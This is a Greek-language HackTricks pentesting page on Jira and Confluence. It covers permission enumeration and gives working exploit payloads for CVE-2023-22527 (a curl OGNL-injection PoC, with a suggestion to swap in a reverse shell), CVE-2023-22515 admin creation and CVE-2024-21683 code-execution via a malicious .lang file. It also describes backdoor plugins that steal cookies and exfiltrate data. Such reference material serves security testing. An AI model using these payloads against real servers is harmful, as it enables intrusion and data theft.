Jira & Confluence
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Έλεγχος Δικαιωμάτων
Στο Jira, τα privileges μπορούν να ελεγχθούν από οποιονδήποτε χρήστη, είτε είναι αυθεντικοποιημένος είτε όχι, μέσω των endpoints /rest/api/2/mypermissions ή /rest/api/3/mypermissions. Αυτά τα endpoints αποκαλύπτουν τα τρέχοντα privileges του χρήστη. Ένα αξιοσημείωτο ζήτημα προκύπτει όταν μη αυθεντικοποιημένοι χρήστες κατέχουν privileges, γεγονός που υποδεικνύει μια ευπάθεια ασφαλείας που ενδέχεται να είναι επιλέξιμη για bounty. Παρομοίως, μη αναμενόμενα privileges για αυθεντικοποιημένους χρήστες επίσης επισημαίνουν μια ευπάθεια.
Μια σημαντική ενημέρωση έγινε στις 1 Φεβρουαρίου 2019, απαιτώντας το endpoint ‘mypermissions’ να περιλαμβάνει μια παράμετρο ‘permission’. Αυτή η απαίτηση στοχεύει στο βελτίωση της ασφάλειας καθορίζοντας τα δικαιώματα που ερωτώνται: check it here
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
Παράδειγμα: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
Αυτοματοποιημένη enumeration
Πρόσφατα RCEs & πρακτικές exploit σημειώσεις (Confluence)
CVE-2023-22527 – μη αυθεντικοποιημένη template/OGNL injection (10.0)
- Επηρεάζει Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Το ευάλωτο Velocity template
text-inline.vmεπιτρέπει την αξιολόγηση OGNL χωρίς αυθεντικοποίηση. - Γρήγορο PoC (η εντολή εκτελείται ως χρήστης confluence):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- Η κεφαλίδα απάντησης
x-cmdθα περιέχει την έξοδο της εντολής. Αντικαταστήστε τοidμε ένα reverse shell payload. - Scanner: nuclei template
http/cves/2023/CVE-2023-22527.yaml(περιλαμβάνεται στα nuclei-templates ≥9.7.5).
CVE-2023-22515 – επανενεργοποίηση setup και δημιουργία admin (auth bypass)
- Δημόσια προσβάσιμο Confluence Data Center/Server 8.0.0–8.5.1 επιτρέπει την αλλαγή του
setupCompleteκαι την επαναεκτέλεση του/setup/setupadministrator.actionγια τη δημιουργία νέου λογαριασμού admin. - Ελάχιστη ροή exploit:
GET /server-info.action(χωρίς authentication) για να επιβεβαιώσετε την προσβασιμότητα.POST /server-info.actionμε παραμέτρουςbuildNumberγια να αλλάξετε τη σημαία setup.POST /setup/setupadministrator.actionμεfullName,email,username,password,confirmγια να δημιουργήσετε έναν admin.
CVE-2024-21683 – authenticated RCE via Code Macro upload
- Ο Confluence Admin μπορεί να ανεβάσει χειροποίητο language definition στο Configure Code Macro· ο Rhino engine εκτελεί ενσωματωμένο Java, οδηγώντας σε RCE.
- Για shell, ανεβάστε ένα αρχείο
.langπου περιέχει payload όπως:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- Ενεργοποιείται επιλέγοντας την κακόβουλη γλώσσα σε οποιοδήποτε Code Macro body. Metasploit module
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683αυτοματοποιεί auth + upload + exec.
Atlasian Plugins
Όπως αναφέρεται σε αυτό το blog, στην τεκμηρίωση για τα Plugin modules ↗ είναι δυνατό να ελεγχθούν οι διάφοροι τύποι plugins, όπως:
- REST Plugin Module ↗: Εκθέτει RESTful API endpoints
- Servlet Plugin Module ↗: Αναπτύσσει Java servlets ως μέρος ενός plugin
- Macro Plugin Module ↗: Υλοποιεί Confluence Macros, δηλαδή παραμετροποιημένα HTML templates
This is an example of the macro plugin type:
Παράδειγμα macro plugin
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“
Hello “ + map.get(“Name”) + “!
”); } else { return “Hello World!
”;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
Είναι δυνατό να παρατηρήσει κανείς ότι αυτά τα plugins ενδέχεται να είναι ευάλωτα σε κοινές web ευπάθειες όπως το XSS. Για παράδειγμα, το προηγούμενο παράδειγμα είναι ευάλωτο επειδή ανακλά δεδομένα που δίνονται από τον χρήστη.
Μόλις βρεθεί ένα XSS, στο [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) μπορείτε να βρείτε κάποια payloads για να αυξήσετε τον αντίκτυπο του XSS.
## Backdoor Plugin
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) περιγράφει διάφορες (κακόβουλες) ενέργειες που θα μπορούσε να εκτελέσει ένα κακόβουλο Jira plugin. Μπορείτε να βρείτε [**code example in this repo**](https://github.com/cyllective/malfluence).
Αυτές είναι μερικές από τις ενέργειες που ένα κακόβουλο plugin μπορεί να εκτελέσει:
- **Hiding Plugins from Admins**: Είναι δυνατή η απόκρυψη του κακόβουλου plugin με την έγχυση front-end javascript
- **Exfiltrating Attachments and Pages**: Επιτρέπει την πρόσβαση και την εξαγωγή όλων των δεδομένων.
- **Stealing Session Tokens**: Προσθέτει ένα endpoint που θα επιστρέφει τα headers στην απάντηση (με το cookie) και κάποιο javascript που θα το καλεί και θα leak τα cookies.
- **Command Execution**: Φυσικά είναι δυνατό να δημιουργηθεί ένα plugin που θα εκτελεί κώδικα.
- **Reverse Shell**: Ή να αποκτήσει reverse shell.
- **DOM Proxying**: Εάν το confluence βρίσκεται μέσα σε ιδιωτικό δίκτυο, θα ήταν δυνατό να δημιουργηθεί σύνδεση μέσω του browser ενός χρήστη με πρόσβαση σε αυτό και, για παράδειγμα, να επικοινωνήσει με τον server εκτελώντας εντολές μέσω αυτού.
## References
- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Μάθετε & εξασκηθείτε στο Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>


